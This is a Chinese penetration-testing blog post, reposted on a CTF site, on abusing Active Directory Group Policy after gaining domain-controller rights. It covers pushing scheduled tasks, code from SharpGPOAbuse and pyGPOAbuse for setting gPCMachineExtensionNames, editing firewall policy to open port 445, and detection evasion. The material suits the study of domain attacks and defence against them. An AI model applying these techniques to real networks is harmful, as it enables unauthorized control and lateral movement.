域环境权限提升中组策略的简单使用

渗透技巧 2年前 (2022) admin
515 0 0

本文作者:Z1NG(信安之路核心作者)

Group Policy Objects 是用于存储 Active Directory 中的策略,便于管理域中的计算机和用户。值得注意的是,默认情况,域用户的组策略是 90 分钟更新一次,有 0-30 分钟的随机偏移,域控的则为 5 分钟更新一次。通过组策略可以下发计划任务,更新防火墙配置等等操作。


图形化下发组策略

在域控上通过组策略管理工具可以轻松的建立一个组策略,并且设定该组策略对特定组生效。此处以建立一个计划任务为例,简单演示如何建立组策略。

不同类型的组策略会生成不同的配置文件,如:计划任务的 schedule.xml,防火墙的 registry.pol。

域环境权限提升中组策略的简单使用

命令行下通过组策略下发计划任务

通过上文所介绍的可以发现,域控下发组策略后实质上的内容是各个配置文件里的内容,通过替换已有的配置文件就可以完成下发特定的计划任务。总的来说,命令行下通过组策略下发计划任务有三种。

1.新建一个组策略

PowerView 中的 “New-GPOImmediateTask” 就可以完成组策略的创建,并执行一个立即执行的计划任务。比较简单,不展开说明。

2.修改已有的计划任务组策略

查找域中已有的计划任务组策略,然后修改 schedule.xml,并更新 GPT.ini 里的版本信息,而后等待或者手动输入 “gpupdate”。也比较简单。

3.修改已有的组策略

这条似乎和 2 是一样的,但其实不一样。2 是指得是一个组策略中本来就包含有计划任务,而 3 说的是一个组策略中本身并无计划任务,例如是一个防火墙组策略。此时会发现通过添加 schedule.xml 文件的方式,加入的计划任务并不生效,三好学生师傅提及过此问题:

https://3gstudent.github.io/backup-3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C/)。

三好学生师傅的解决方案是通过备份正常的组策略,然后提取里面的”注册信息”添加进自定义的组策略计划任务之中。但通过自己的实践发现,不成功的原因是出在gPCMachineExtensionNames

gPCMachineExtensionNames 必须设置成与我们修改的相应的 GUID。GUID 列表:

https://blogs.technet.microsoft.com/mempson/2010/12/01/group-policy-client-side-extension-list/

F-secure 给出示例代码,是通过 C# 编写的,其中的功能之一就是添加一个立即运行的计划任务:

https://labs.f-secure.com/tools/sharpgpoabuse

域环境权限提升中组策略的简单使用

在添加gPCMachineExtensionNames存在一定的细节,具体代码如下。


// update gPCMachineExtensionNames String val1 = ""; String val2 = ""; if (function == "AddLocalAdmin" || function == "AddNewRights" || function == "NewStartupScript"){ if (function == "AddLocalAdmin" || function == "AddNewRights"){ val1 = "827D319E-6EAC-11D2-A4EA-00C04F79F83A"; val2 = "803E14A0-B4FB-11D0-A0D0-00A0C90F574B"; } if (function == "NewStartupScript"){ val1 = "42B5FAAE-6536-11D2-AE5A-0000F87571E3"; val2 = "40B6664F-4972-11D1-A7CA-0000F87571E3"; } try { if (!entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val2)) { if (entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val1)) { string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString(); //Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: " + ent); List<string> new_values = new List<string>(); String addition = val2; var test = ent.Split('['); foreach (string i in test) { new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", "")); } //new_values.Add(addition); for (var i = 1; i < new_values.Count; i++) { if (new_values[i].Contains(val1)) { //Console.WriteLine(new_values[i]); List<string> toSort = new List<string>(); string[] test2 = new_values[i].Split(); for (var f = 1; f < test2.Length; f++) { //Console.WriteLine(test2[f]); toSort.Add(test2[f]); } toSort.Add(addition); toSort.Sort(); new_values[i] = test2[0]; foreach (string val in toSort) { new_values[i] += " " + val; } } } List<string> new_values2 = new List<string>(); for (var i = 0; i < new_values.Count; i++) { if (string.IsNullOrEmpty(new_values[i])) { continue; } string[] value1 = new_values[i].Split(); string new_val = ""; for (var q = 0; q < value1.Length; q++) { if (string.IsNullOrEmpty(value1[q])) { continue; } new_val += "{" + value1[q] + "}"; } new_val = "[" + new_val + "]"; new_values2.Add(new_val); } String final = string.Join("", new_values2.ToArray()); //Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: " + final); entryToUpdate.Properties[gPCExtensionName].Value = final; } else { string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString(); //Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: " + ent); List<string> new_values = new List<string>(); String addition = val1 + " " + val2; var test = ent.Split('['); foreach (string i in test) { new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", "")); } new_values.Add(addition); new_values.Sort(); List<string> new_values2 = new List<string>(); for (var i = 0; i < new_values.Count; i++) { if (string.IsNullOrEmpty(new_values[i])) { continue; } string[] value1 = new_values[i].Split(); string new_val = ""; for (var q = 0; q < value1.Length; q++) { if (string.IsNullOrEmpty(value1[q])) { continue; } new_val += "{" + value1[q] + "}"; } new_val = "[" + new_val + "]"; new_values2.Add(new_val); } String final = string.Join("", new_values2.ToArray()); //Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: " + final); entryToUpdate.Properties[gPCExtensionName].Value = final; } } else { //Console.WriteLine("[!] DEBUG: the value of gPCMachineExtensionNames was already set."); } } // the following will execute when the gPCMachineExtensionNames is <not set> catch { entryToUpdate.Properties[gPCExtensionName].Value = "[{" + val1 + "}{" + val2 + "}]"; } }

需要注意的是 SharpGPOAbuse 修改了目标组策略的gPCMachineExtensionNames,所以在完成计划任务执行的时候,应该将组策略还原回去,但该项目并没有提供该功能。

这里比较推荐的是 pyGPOAbuse :

https://github.com/Hackndo/pyGPOAbuse

这个项目,实现上使用了 Impacket 库,可以通过流量代理的方式进行利用。这样的好处是利用工具可以不用落地目标机器,规避检测。同样的在添加gPCMachineExtensionNames是遵循一定规则,具体不展开讲。

def update_extensionNames(self, extensionName):        val1 = "00000000-0000-0000-0000-000000000000"        val2 = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"        val3 = "AADCED64-746C-4633-A97C-D61349046527"        if extensionName is None:            extensionName = ""        try:            if not val2 in extensionName:                new_values = []                toUpdate = extensionName                test = toUpdate.split("[")                for i in test:                    new_values.append(i.replace("{", "").replace("}", " ").replace("]", ""))                if val1 not in toUpdate:                    new_values.append(val1 + " " + val2)                elif val1 in toUpdate:                    for k, v in enumerate(new_values):                        if val1 in new_values[k]:                            toSort = []                            test2 = new_values[k].split()                            for f in range(1, len(test2)):                                toSort.append(test2[f])                            toSort.append(val2)                            toSort.sort()                            new_values[k] = test2[0]                            for val in toSort:                                new_values[k] += " " + val                if val3 not in toUpdate:                    new_values.append(val3 + " " + val2)                elif val3 in toUpdate:                    for k, v in enumerate(new_values):                        if val3 in new_values[k]:                            toSort = []                            test2 = new_values[k].split()                            for f in range(1, len(test2)):                                toSort.append(test2[f])                            toSort.append(val2)                            toSort.sort()                            new_values[k] = test2[0]                            for val in toSort:                                new_values[k] += " " + val                new_values.sort()                new_values2 = []                for i in range(len(new_values)):                    if new_values[i] is None or new_values[i] == "":                        continue                    value1 = new_values[i].split()                    new_val = ""                    for q in range(len(value1)):                        if value1[q] is None or value1[q] == "":                            continue                        new_val += "{" + value1[q] + "}"                    new_val = "[" + new_val + "]"                    new_values2.append(new_val)                return "".join(new_values2)        except:            return "[{" + val1 + "}{" + val2 + "}]" + "[{" + val3 + "}{" + val2 + "}]"

组策略下发防火墙策略

一个场景,已有域控权限,但由于域防火墙的存在无法访问目标组或者人的机器。此时就可以用组策略来下发防火墙策略。组策略的防火墙配置文件存放于对应组策略文件夹中的registry.pol中

域环境权限提升中组策略的简单使用

可以用两种方式来修改这个文件,一种是将目标文件下载回来,放到自己的域环境下修改,保存后,再放回目标域控。

域环境权限提升中组策略的简单使用

第二种是通过LGPO.exe将Registry.pol文件解析成文本文件,然后修改后还原成Registry.pol文件。

域环境权限提升中组策略的简单使用

然后按照格式辑文本文件,红框中是新增的开放445的测试。接着还原成Registry.pol导入域控 。就可以看到新增的防火墙策略了。

域环境权限提升中组策略的简单使用

域环境权限提升中组策略的简单使用

总结

简单总结一下:

  1. 有域控权限,才可以利用 GPO。

  2. GPO 不仅可以计划任务还可以操作防火墙等其他功能。

  3. 找到想要针对的目标组所含有的组策略。

  4. 记得修改gPCMachineExtensionNames,这个就类似文件的拓展名,没有加对拓展利用无法成功。

  5. 记得修改 GPT.ini 版本号,版本没更新的情况下域用户不会强制同步更新组策略。

  6. 善用 LDAP 查询域内信息。

潦草一记录,很多细节没有展开。

域环境权限提升中组策略的简单使用

原文始发于微信公众号(信安之路):域环境权限提升中组策略的简单使用

版权声明:admin 发表于 2022年2月8日 上午10:48。
转载请注明:域环境权限提升中组策略的简单使用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...